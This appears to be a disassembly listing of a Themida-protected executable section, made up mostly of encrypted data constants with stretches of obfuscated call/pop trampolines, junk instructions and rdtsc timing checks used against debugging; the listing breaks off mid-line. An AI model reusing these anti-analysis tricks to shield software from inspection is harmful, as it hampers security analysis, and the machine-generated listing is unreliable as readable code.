mov cx, ax ja loc_5B5145 mov bx, 5901h loc_5B5145: ; CODE XREF: Themida_:005B513Bj popa mov [ebp+6131459h], edx loc_5B514C: ; CODE XREF: Themida_:loc_5B5171j cmp byte ptr [esi], 0 jz loc_5B5192 stc movsb jmp loc_5B5165 ; --------------------------------------------------------------------------- dd 11FF97BDh, 864EE295h db 0CCh ; --------------------------------------------------------------------------- loc_5B5165: ; CODE XREF: Themida_:005B5157j jg loc_5B5171 mov [ebp+6132085h], ebx loc_5B5171: ; CODE XREF: Themida_:loc_5B5165j jmp loc_5B514C ; --------------------------------------------------------------------------- dw 8A0Fh dd 16h, 11E9h, 9E01FC00h, 5578CB04h, 34E5628Bh, 0FD125AC5h db 0CEh, 0FEh ; --------------------------------------------------------------------------- loc_5B5192: ; CODE XREF: Themida_:005B514Fj mov eax, 0 jmp loc_5B51AA ; --------------------------------------------------------------------------- dd 0ED057B10h, 116D8F10h, 29B0C9DBh db 0CAh, 0B3h ; --------------------------------------------------------------------------- loc_5B51AA: ; CODE XREF: Themida_:005B5197j stosb push 0 push ebx call sub_5B51B6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B51B6 proc near ; CODE XREF: Themida_:005B51AEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B51B6 endp ; --------------------------------------------------------------------------- dw 0C7E3h dd 7B8E660h, 60000000h, 595BD89h, 7E90613h, 61000000h dd 295B191h, 0C76194E5h, 1321BD85h, 106h, 13E900h, 0C6B50000h dd 9989FAC1h, 68AC2494h, 20497A16h, 863241E1h, 8D8D8DB8h dd 6006134Fh, 0AE641DB9h, 61D08B66h, 880FE1FFh, 0Ch, 6870Fh dd 95890000h, 6132595h, 0C245C8Bh, 0E855h, 815D0000h, 168F68EDh dd 0B8838B06h, 89000000h, 16782185h, 0C4858D06h, 8906168Dh dd 0B883h, 0C0335D00h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_5B5255: ; CODE XREF: Themida_:loc_5B507Cj push 0 push eax call sub_5B5260 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5260 proc near ; CODE XREF: Themida_:005B5258p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5B5260 endp ; --------------------------------------------------------------------------- add [ebx-613C08A2h], ecx jmp loc_5B528C ; --------------------------------------------------------------------------- db 6Eh dd 0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h ; --------------------------------------------------------------------------- loc_5B528C: ; CODE XREF: Themida_:005B5276j jnz loc_5B5298 xor [ebp+613219Dh], ebx loc_5B5298: ; CODE XREF: Themida_:loc_5B528Cj jb loc_5B529F clc loc_5B529F: ; CODE XREF: Themida_:loc_5B5298j pusha jl loc_5B52BC jmp loc_5B52BC ; --------------------------------------------------------------------------- db 5Ch dd 75569483h, 7F819D15h, 9543C30Ah, 0E2212C4Ch ; --------------------------------------------------------------------------- loc_5B52BC: ; CODE XREF: Themida_:005B52A0j ; Themida_:005B52A6j lea eax, [ebp+616918Fh] cmc push eax jno loc_5B52E8 push eax push edx pusha popa rdtsc jmp loc_5B52E6 ; --------------------------------------------------------------------------- db 3Ah, 10h, 0B2h dd 0EC35166Dh, 8A3AFE92h, 0F2FD2E4Fh db 60h, 1Bh ; --------------------------------------------------------------------------- loc_5B52E6: ; CODE XREF: Themida_:005B52D0j pop edx pop eax loc_5B52E8: ; CODE XREF: Themida_:005B52C4j mov [esp], eax push 0 push eax call sub_5B52F6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B52F6 proc near ; CODE XREF: Themida_:005B52EEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B52F6 endp ; --------------------------------------------------------------------------- dw 7F64h dd 870FAAF7h, 6, 0F2D8531h, 0FF640613h, 35h, 1860F00h dd 0F9000000h, 258964h, 0E9000000h, 0Ah, 8759051Fh, 59310C61h dd 8D09410Bh, 6132FA5h, 9237858Dh, 6A0616h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B5C5F1C3h dd 9D89692Bh, 6131AF5h, 1F858D29h, 60890613h, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0B6B010A8h, 0B1E4F51Ch, 89FC6CF2h, 1305B595h, 0E185C606h dd 4F061311h, 31F18509h, 7A680613h, 0E9DE83ECh, 10h, 0DA0BDC52h dd 35DB9D57h, 0B094751Fh, 84343E0Ah, 50243481h, 9204B98h dd 130FC9BDh, 65B58906h, 0FF061325h, 131EE9B5h, 0E9952906h dd 8D061328h, 167C3385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 3A72DC8Bh, 47E82A96h dd 0C8F0Fh, 8C0F0000h, 6, 8D0Fh, 0D0FF0000h, 953160F8h dd 6130C4Dh, 0CEE961F5h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9D80C351h dd 29C9E7DEh, 13189585h, 245C8B06h, 0E8550Ch, 5D000000h dd 9199ED81h, 858B0616h, 613116Dh, 1EE98589h, 858B0613h dd 61310D1h, 1FE58589h, 858B0613h, 61307C9h, 55D8589h dd 85C60613h, 61311E1h, 7385C700h, 6167Dh, 8D000000h, 16923785h dd 0B8838906h, 5D000000h, 6AC3C033h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8D88C357h dd 82657B30h, 8D89D663h, 6131EEDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 36C35040h, 0E97CE55Ah, 98B9500h dd 131541B5h, 0FF74BC06h, 6A0012h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0B53415C3h, 0A7985804h dd 0B589334Ah, 61322C5h, 58F64h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 167CC350h dd 7E6E9606h, 8D896028h, 6132CD9h, 0C48361F5h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 43F7DE2Dh, 106324A9h, 29C19D29h, 61F90613h, 83E9h, 52515300h dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h dd 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h dd 0FFFFFFF1h, 0DE8CA8Bh, 0EB000000h, 5565E419h, 97D80076h dd 0CA9AE530h, 28B0Fh, 0D08B0000h, 0CAB70F5Bh, 5AF4C381h dd 8B660000h, 1683BFD0h, 830F0000h, 19h, 138D0Fh, 0DE80000h dd 0FE000000h, 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 0E833FF5Ah dd 14h, 0FD345D2Eh, 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0DE59EA83h dd 54059CB8h, 0B15E5A36h, 0B1F68146h, 0E96F5B95h, 0Ah dd 7F1994DCh, 0FE9B3852h, 0EE815A81h, 2FED01ADh, 8C50BA50h dd 8159402Ch, 0F88CACEEh, 0F8C18177h, 893BC1BCh, 8E833h dd 88370000h, 11540D27h, 835A3E1Ch, 816601EBh, 4B45F4C8h dd 0B8664B4Bh, 0EF812BBEh, 1, 1B850Fh, 800F0000h, 5, 0E4F28166h dd 19E92Bh, 5D890000h, 26B7CA75h, 49099CB1h, 50B16015h dd 0FF5FE961h, 0D69BFFFFh, 0E9B661D1h, 0FAh, 2D7B691Fh dd 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h dd 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h dd 59A0A3D2h, 1Eh, 4 dup(0) dd 0E6E90000h, 6800000Bh, 616979Dh, 0FCEC13E9h, 988568FFh dd 9E90616h, 68FFFCECh, 6169939h, 0FCEBFFE9h, 99CF68FFh dd 0F5E90616h, 68FFFCEBh, 6169A60h, 0FCEBEBE9h, 9AF668FFh dd 0E1E90616h, 68FFFCEBh, 6169C58h, 0FCEBD7E9h, 9D2F68FFh dd 0CDE90616h, 68FFFCEBh, 6169E14h, 0FCEBC3E9h, 9F0268FFh dd 0B9E90616h, 68FFFCEBh, 6169FB6h, 0FCEBAFE9h, 74E270FFh dd 6CE27456h, 72D86C4Eh, 73DD6E54h, 74E06D53h, 0A3C86756h dd 0BAA03E16h, 0A88A282Ah, 0B3953513h, 0BF8C2A22h, 49F16DA0h dd 67BA16B4h, 4DE0C2FBh, 8B2F6EFFh, 0C1401139h, 0C884D5F7h dd 4B075579h, 0C987D8FAh, 4A045678h, 41BAD8FBh, 0FA8F0354h dd 7757F548h, 77543237h, 8EA39306h, 4696BC16h, 0E627C40Ch dd 7C28DEC9h, 13E3C3DCh, 0A5381AC9h, 902107A7h, 0AA3B1FBCh dd 8CCB1AA2h, 2C3D17A6h, 25A4E3EDh, 9D0A8A6Eh, 9F5D5780h dd 1DF0C5BFh, 9C2428B9h, 9829D972h, 0A13416B4h, 0BA2B0CABh dd 0A8A1560h, 8DDCE429h, 73D96C4Eh, 3719A3E2h, 0EF97A6A6h dd 0A73AE861h, 0EFAD05A5h, 915AAD8Ah, 0A93317A9h, 4A772h dd 6CBDC800h, 0DDCC3E0h, 6BE1F7D3h, 3E80DFE9h, 454161EBh dd 654D6A1Ch, 0A9E879D5h, 4E96B205h, 0BD0C2E11h, 83BE4D97h dd 0C168F98h, 0B49BB889h, 0EC5248BAh, 0A7E6EE00h, 0A8AD527h dd 0EF7ED663h, 62F35BEBh, 9E87046Eh, 1E3EBB57h, 5AACC65Eh dd 0C6C61A40h, 8ADD3B97h, 0E081040Ah, 71A83051h, 4Dh, 70E5C2C5h dd 109DB516h, 0CA1CBEDFh, 0E9003C84h, 0CECF3E9Dh, 9F168E98h dd 409EEF7Eh, 970A8A89h, 0B8D06248h, 0F5122FF2h, 16B8D9B1h dd 0C53F89C3h, 75480834h, 0D2A5AADh, 8A487ED8h, 0D490AF0Ah dd 86B74884h, 158C54B9h, 0B9h, 0E06CBD29h, 74E06D51h, 0FC50E1E5h dd 74D8696Dh, 0B7962756h, 0D3F7109Dh, 1D7CCD85h, 1C3081D3h dd 3499CBEh, 9BEBF632h, 0B6C4C93Ch, 2A0D168Eh, 8AA45FBBh dd 0DBE5280Ah, 3957498Eh, 0D0E312B5h, 0CC1511B1h, 0CC6034F4h dd 0DCBD690Dh, 868B8EFFh, 21641074h, 4311A082h, 0CE604263h dd 8850B180h, 285DF746h, 79F00A2Eh, 0E685C067h, 5A000008h dd 466C4A0Ch, 567C5AF4h, 486A4802h, 577959F7h, 396C4A0Ah dd 0C4895F6h, 163C8CAEh, 0B3D92B8h, 183485ABh, 3FAEB1BAh dd 16B44BE3h, 0C2C975ACh, 0DC2934DDh, 1FA95E39h, 87F6A02Dh dd 109E780Bh, 0F2D0B1D4h, 0EFCF7DD0h, 0C8BEA351h, 57E6CCEBh dd 0A32D6CFDh, 8E986564h, 86D73616h, 8A8797F7h, 0CD85D30Ah dd 46085A7Ch, 9D2E64F7h, 54E521A8h, 0AD396828h, 0B0D05Ah dd 0BD660000h, 0DFC3E06Ch, 0D2330252h, 0EA775B0Ah, 0DBFCDB6Ah dd 9DB530AAh, 4C94F910h, 9DB84CBDh, 3715A810h, 2C20B197h dd 0BCCA1F1Dh, 0A6AE3B1Fh, 716E7697h, 8EB619FCh, 0A0D5F216h dd 0A8AA326h, 0EFCFAEEFh, 0D806BAAFh, 0FB293C26h, 0D7FBD8B9h dd 0D2FFC989h, 74F98FA3h, 0A6058810h, 0BF1F3584h, 55084C99h dd 79F08B6Bh, 0FEFCD990h, 42000007h, 5E4462F4h, 0FE2482CCh dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B44D7Bh, 0BD71CD44h dd 0BC902170h, 87DCFEDDh, 0C71170C1h, 3616A789h, 6CBD3A98h dd 0DC6D51E0h, 626C5270h, 49662049h, 8EA59514h, 0DC311616h dd 0F82C2CDFh, 7095529Ah, 19CAFE8Fh, 5198E842h, 0CE679635h dd 0CF11B28Eh, 2DDBEB88h, 7F1E81B0h, 0EF97D2EEh, 7DC8EFD0h dd 0FD0F9FD8h, 418EFDC7h, 0AE0B9C2Dh, 506F506Fh, 979CC11Dh dd 184D8AFFh, 0FF979CBEh, 5D670687h, 4462EA7Bh, 0CC81CB5Eh dd 751333FEh, 4A7D580Fh, 0F6000007h, 0EAD0EE68h, 0F2D8F658h dd 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h, 0BA98280Ah dd 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B44E7Fh, 0BD6DD148h dd 0DFC3E06Ch, 63ED3E51h, 0AD23302h, 82045D5Bh, 8C200225h dd 53E26AFBh, 0DC6F5332h, 2C25646Ch, 0ED168E94h, 0D30E0AA8h dd 82E114B3h, 0F107801h, 0B809318Eh, 0C1143694h, 637EBA8Bh dd 3B518423h, 780A616Bh, 4194B615h, 3485AB0Bh, 0F6EB4918h dd 87C23390h, 0D0044E4Bh, 0E0FC184Dh, 72396DC5h, 6B457h dd 183E8C00h, 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh dd 4D8D097Ch, 435616B4h, 5BEA31Fh, 0DCFB9AB6h, 56E761F6h dd 0E469337h, 0C916DE3Fh, 8B218894h, 0AEFD2516h, 9FAD00A2h dd 56759855h, 2B79DD71h, 60688476h, 676B5473h, 5806B1F2h dd 6FC214DCh, 8ADBFDDDh, 2C3573C2h, 785A7D5Ah, 0D935A8E4h dd 0A20A873Dh, 4BBA0263h, 10781D52h, 837FF213h, 0AC79EFB3h dd 623E0FDh, 911D0000h, 73C3E5C5h, 83D5FBDBh, 72C1E7C7h dd 8BDA00DEh, 75BAE9C9h, 2B8BC918h, 3B9BB705h, 2886C215h dd 3D9DAF02h, 60BA2B34h, 2916B44Fh, 0E5C24EF0h, 9DB51670h dd 0B8F8DF10h, 9BEF5892h, 122EB6D7h, 0DD10AFD7h, 168BD79Eh dd 0E5CDEA2Bh, 0F8DAF854h, 5A56E765h, 7758770Fh, 0F9A50750h dd 0D8E09AFAh, 75D373A9h, 4E6DB010h, 0DB6C4E71h, 0D28A0475h dd 32530471h, 3715A8AAh, 2C20B197h, 0BCCA1F1Dh, 0B3B3EE1Fh dd 99FC0A62h, 0DA49E4E4h, 1732F973h, 58Dh, 8F2F27B3h, 953519A9h dd 892921B3h, 9A3818A7h, 8B2B29B8h, 0E7769798h, 0DD6B4D6Dh dd 0E0735575h, 0D5684A68h, 458A5777h, 0B44EB610h, 382A7F16h dd 8C1D6CBDh, 1D02A1C0h, 0B588D580h, 4FBE1D78h, 109DD8D3h dd 0F06F799Ch, 581F4D3h, 39109DD9h, 7392A3A7h, 3517A1E4h dd 270BA8A4h, 2432BA9Ah, 90C3FDE4h, 88388CD3h, 9AFB53E3h dd 4CA9DCFBh, 0D5168EBCh, 0F250A1B0h, 490A8AB7h, 50204CBDh dd 0F85AACE5h, 44h, 0C8BEA35Eh, 7AEBCCEBh, 109DB520h, 0FB4A0054h dd 8048CD9Ah, 8E980001h, 0FD4CD116h, 7F59F9DEh, 0D8EC5B7h dd 82C644C3h, 0B0020A8Ah, 3B8BCF9Eh, 61914213h, 9AF4FDE8h dd 243DFB21h, 0D0A55AADh, 0B9000000h, 0C3E06CBDh, 0B51571E4h dd 0BFDE109Dh, 4594B635h, 39213E0Fh, 7495A4A8h, 75D76A6Ch dd 0FD4FE2E4h, 9AD700DDh, 15F87E61h, 0A7B0AD2h, 66109DC3h dd 775979D3h, 0D9D766E6h, 0F6D9F690h, 0BC2AA4D9h, 0CF5E109Dh dd 655B485h, 63CE3D87h, 0C168E8Dh, 250D2A89h, 68A9B894h dd 8A8A9DF9h, 7B61660Ah, 2914899Dh, 0C311DBBAh, 0CBE89EC3h dd 74C2209Ah, 0C7E42910h, 0E1FE56E3h, 56E76BF9h, 0E9659837h dd 0B20474AEh, 654B8953h, 0C9097CD8h, 0A79F044h, 42B6663h dd 0C9150000h, 0BB0B2D8Dh, 0BB0D3393h, 0BA092F8Fh, 0C3123896h dd 2D023191h, 0C3E371C0h, 0A3034FDDh, 0C01E2A7Dh, 0A505479Ah dd 0C842B39Ch, 9116B450h, 70BD2618h, 51E4C6E4h, 0A37DDBFBh dd 99B505BEh, 8B2849C8h, 8E987B5Ah, 0EAC94C16h, 73FB9DC5h dd 0D51F2CBFh, 2967E716h, 54BE0A8Ah, 9EC795B7h, 0B96F5AADh dd 0D3000000h, 51E06CBDh, 0E574E06Dh, 3A94C9E6h, 3109DB5h dd 0B53591C4h, 9FFE109Dh, 2697F6FEh, 82109DB8h, 9CBE1D2Fh dd 0D435044Ah, 0C9F1CE0Ch, 382D377h, 64697B9h, 96F0F937h dd 8259C439h, 8302168Eh, 91200223h, 0C91372C3h, 0B512746Dh dd 74DD4540h, 308F0E10h, 0D984DE0Fh, 0C84D0474h, 62EFD300h dd 5FEED4F2h, 6F5C80F5h, 0E28979F0h, 354E7h, 0F85EEC00h dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h dd 0F85CE9CFh, 2744EBDAh, 361CBA9Ah, 2C0EACA6h, 2F11B197h dd 4310AE9Eh, 526DE91Ch, 0E33616B4h, 0E470BD7Fh, 3551E4C6h dd 0EA8A2B92h, 1DBDDC98h, 83C51A40h, 0CF8953B2h, 51E06CBDh dd 1AADDC6Dh, 4E6F4F2Eh, 57E5B969h, 0F9C36C1Bh, 0B9B0C9D3h dd 0FE7FEECDh, 0F168F06h, 0D326D8Eh, 356A94A2h, 0E01FA9CDh dd 0AE96170Ah, 124385DCh, 665592B8h, 5E7D1C81h, 4689922Fh dd 9A270B6Ch, 626AABBAh, 92B18005h, 72C640B5h, 8EFF6042h dd 60427314h, 6AABB8DDh, 7B0B5662h, 68E2765Ch, 0F8BFAD9h dd 0D8604273h, 0CF0CD4B5h, 3087719Eh, 20BFDE66h, 6A5A73Ah dd 6EFB9424h, 573657E6h, 1F3D8706h, 85CB1C3Eh, 498B55B4h dd 52154F8h, 1ECFA78Dh, 26F528Fh, 85D10000h, 7FCFF1D1h dd 77C9EFCFh, 7ECDF3D3h, 7FCEF4D2h, 69C6F5D5h, 3F9FB504h dd 2787CB19h, 3C9AAE01h, 2989C316h, 54CE3F20h, 1D16B453h dd 6CBD5A04h, 0B557B322h, 0FD20109Dh, 0ED203F9Ch, 109DB571h dd 89C7183Ah, 2381E0E8h, 0FA6B483Eh, 168EB5EFh, 0EFD5F518h dd 0EF97D213h, 9DD0EFD0h, 0A8AB341h, 0C2418B0Ah, 107BA423h dd 0CDF2D134h, 5DC5443Fh, 9E6F79EBh, 480C5981h, 0B15098F9h dd 9FED0C4Dh, 0B7147277h, 0D96CAF46h, 17AAB04Dh, 0E071E372h dd 1071C0A1h, 0BFE3E071h, 3253E272h, 75538EAAh, 0D5578600h dd 0AFCE4F41h, 0B80B2F10h, 5765E190h, 0EF2E41D5h, 0F0D7F8E5h dd 0C1164D01h, 7057B687h, 616B1073h, 0C318D522h, 0E4C34247h dd 4351DFC3h, 0BE87B812h, 7D1C813Bh, 7CD06173h, 63E97C5Eh dd 3A1DE6EEh, 213CEBB1h, 181h, 0C3E373BFh, 0A1014DDDh dd 0BD1D2D7Fh, 0A6044C9Bh, 0BF1F3584h, 0FB4AA38Ch, 9577959h dd 0F4476949h, 1547654h, 815E6B4Bh, 0B453920Ch, 1C465B16h dd 8F1D6CBDh, 721372C3h, 0EA9CC5E3h, 0AFD598CDh, 2F6E168Eh dd 3517AA90h, 1487ADABh, 0C640B592h, 8F0A8A99h, 6F7AC60Eh dd 0B397B817h, 0FA1B2A22h, 8B1293F2h, 0E223107Bh, 0A87FDAC5h dd 736FA58Dh, 76E18802h, 0ADCC5104h, 0DFDB7223h, 399C4885h dd 4795630h, 5174EA6Dh, 221E2F6Eh, 3F20BFC7h, 0D671ED20h dd 0DB3A4570h, 0EA457211h, 53B24B5Eh, 51FB4E74h, 4EFE4F71h dd 0D5EFC31Bh, 1835F4B4h, 0CDh, 4F6FE773h, 5575D969h, 4969E173h dd 5A78D867h, 4B6BE978h, 27B6D758h, 1DAB8D2Dh, 20B39535h dd 15A88A28h, 85CA9737h, 0B453F650h, 0F86ABF16h, 0C3E06CBDh dd 6DFC4CDFh, 0E273D769h, 6BFAC2A3h, 5572144Dh, 8EB8F120h dd 0C3E32216h, 0CBE89EC3h, 0CE6F4E4h, 0AB3E1ED6h, 0B2802779h dd 0B3A0282Fh, 78120A42h, 499BBF10h, 0EB2AB701h, 0A1E5785Ah dd 125B65ADh, 5A5C478h, 1DBA9223h, 9AABA735h, 83F2717Bh dd 2FC76254h, 0F065427Dh, 0D906D196h, 5CB63E5Fh, 0AAA233DFh dd 0B993260Ch, 3B15A6A8h, 3FBC362Ah, 0AC0A4293h, 48193386h dd 5DB92C0Bh, 91D906D2h, 0DF3E0F43h, 98C30D90h, 0Dh, 815E7B36h dd 9DB4920Ch, 0B23A5B10h, 0E571BD28h, 6DDF7254h, 0E365FADCh dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h dd 242ABC9Eh, 9C682215h, 89000041h, 0E189240Ch, 4C181h dd 0E9830000h, 240C8704h ; --------------------------------------------------------------------------- pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 0CFh mov [esp], ecx push edx push esi mov esi, 61695B3h mov edx, esi pop esi mov ebp, edx pop edx push esp mov ecx, [esp] add esp, 4 push 2D27h mov [esp], ebp pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 38h dd 0D0DBB27Eh, 2BEF9BE7h, 0A0A8B83Bh, 0C5030616h, 0A9A7E0FFh dd 0AD63469Ah, 67E50BAAh, 23EB4167h, 0AEB44CC3h, 9742172Ah dd 48E949F4h, 48000001h, 4C000000h, 50000000h, 54000000h dd 58000000h, 5C000000h, 60000000h, 64000000h, 0A8000000h dd 0AC000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h dd 38h dup(0) dd 7B000000h, 3005B64h, 8D00B2C2h, 16A15185h, 8E906h, 169E0000h dd 6A497420h, 85895108h, 616A291h, 10558589h, 85C60613h dd 61311E1h, 8E954h, 958C0000h, 90E28FFFh, 805774FDh, 0E85BE7CDh dd 4, 0EE626829h, 50F08B66h, 710DBF66h, 424448Bh, 11E851h dd 29310000h, 0A30378B9h, 0A744D9FEh, 3485C9B6h, 669A5C25h dd 5B59FA8Bh, 5060008Bh, 0FE8B6652h, 0BA66310Fh, 585AF20Eh dd 6E9h, 94FA7A00h, 6123218Fh, 4244489h, 310F5250h, 8B665250h dd 52310FD7h, 5A585A5Ah, 0CE805858h, 0E9B5FFC2h, 8D06131Eh dd 167C3385h, 859D8906h, 0FF061330h, 0D18531D0h, 8906132Ch dd 16A29585h, 433EBE06h, 958B3938h, 61320E9h, 5BE9h, 0C3CB8000h dd 91B58B56h, 890616A2h, 91858306h, 40616A2h, 8D60C35Eh dd 16A151B5h, 560FEB06h, 36FF006Ah, 0A29595FFh, 835E0616h dd 3E8304C6h, 61EC7500h, 15B58BC3h, 60061314h, 0CD9D8Bh dd 6E80613h, 73000000h, 8FC55391h, 59BCB3C8h, 0C1816661h dd 9D231226h, 6131385h, 0A37C858Dh, 8B660616h, 398589F8h dd 0EB061313h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h dd 34DF1BCEh, 0A6DB67h, 422577h, 0DC80BA9Fh, 0 dd 0FEB41B54h, 0FE340000h, 0FBh, 52DDB487h, 9ED92023h dd 7C809E01h, 1346E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0D30E9EABh, 0FBB9BAC9h dd 8E0F4879h, 0Ch, 68B0Fh, 0CF810000h, 1E486D1Fh, 173DBD83h dd 0F000613h, 3685h, 75958B00h, 0B806130Ah, 0 ; --------------------------------------------------------------------------- mov [ebp+6131125h], eax retn 4 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B6754 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6754 proc near ; CODE XREF: Themida_:005B674Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5B6754 endp ; --------------------------------------------------------------------------- dd 3C3E42DFh, 8BE3E931h, 0C88B66C0h, 1D319589h, 0BD830613h dd 6131625h, 83097500h, 132C81BDh, 13740006h, 0C08B5350h dd 4D0B8h, 519D8D00h, 0FF0615A7h, 83585BD3h, 132C81BDh dd 11740006h, 0D0B85350h, 8D000004h, 15A69E9Dh, 5BD3FF06h dd 0C8BF0F58h, 8BF8BF0Fh, 2D8589C0h, 8D06130Fh, 16A41685h dd 3D8D0B06h, 50061315h, 76BA6653h, 4895F7Ah, 85952324h dd 8D061317h, 16A3D385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8971E5h, 6131259h, 50FE8B66h dd 47ADBF66h, 0F240489h, 95FFCEB7h, 6132045h, 338CCEBAh dd 24448B4Dh, 0C9816604h, 85890593h, 616A3FEh, 1ABD8529h dd 0DA800613h, 24448BBBh, 0F5B58908h, 0FC061307h, 0A4128589h dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0F98C37C3h, 89E2D55Eh, 132EB1B5h, 0D5BD8306h dd 6131Eh, 131850Fh, 0D78B0000h, 11E185C6h, 89470613h dd 1301F58Dh, 4E806h, 0A7D20000h, 5250D49Ah, 2A9A2ABFh dd 50310F3Dh, 0CF9EB952h, 310F12DCh, 585A585Ah, 0E6BF6650h dd 24448BF8h, 52008B04h, 0EE85250h, 7D000000h, 0BCCE8B11h dd 0CC847790h, 0D53D44BFh, 310F59CFh, 14E8h, 2EE8FB00h dd 0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 585A5FE1h dd 2444895Fh, 958B5804h, 6130131h, 1EE9B5FFh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 5E4376C3h, 23BF017Fh, 33858DF9h, 6A06167Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0A9C8C357h, 6AD0FF03h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0BC9FC355h, 0EE9h dd 697FE00h, 0F64E1245h, 140D6779h, 892B9E3Eh, 131ED585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 5860F1Bh, 66000000h, 0D2D6F281h, 6E9h, 0D23AF600h dd 8366ADD3h, 131315BDh, 850F0006h, 0B7h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 65C35040h, 0F6CD0F07h dd 5E953h, 896A0000h, 5F3E32A9h, 11E185C6h, 0E9470613h dd 12h, 0F64A5071h, 0BE71531Dh, 0B9959EA0h, 0CAD1719Ch dd 7A6816CBh, 8B2A0F23h, 240481C8h, 60009268h, 5B85E181h dd 0B5FF7F77h, 6131EE9h, 158529h, 858D0613h, 6167C33h dd 38E0Fh, 0BF0F0000h, 6AD0FFCEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6419C350h dd 31A8ECABh, 0B966741Dh, 858942F3h, 6130B75h, 13158589h dd 0B70F0613h, 218D8BCEh, 83061316h, 130135BDh, 850F0006h dd 0CAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 4EC35747h, 86BF66D7h, 15958B8Ch, 0C606130Bh, 1311E185h dd 6A5606h, 3E857h, 5F200000h, 